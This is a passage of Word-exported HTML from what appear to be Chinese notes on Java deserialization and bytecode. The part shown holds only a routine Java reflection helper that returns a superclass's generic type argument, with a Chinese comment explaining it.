Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> clazz</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> index</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Type</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> genType </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> clazz</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getGenericSuperclass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(!(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">genType </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">instanceof</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ParameterizedType</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">))</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Type</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> params </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">((</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ParameterizedType</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> genType</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">).</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getActualTypeArguments</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">index </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> params</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">length</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">||</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> index </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">0</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(!(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">params</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">index</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">]</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">instanceof</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">))</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> params</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">index</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">];</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/**</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">通过反射,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">获得</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> Class </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">定义中声明的父类的泛型参数类型</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span 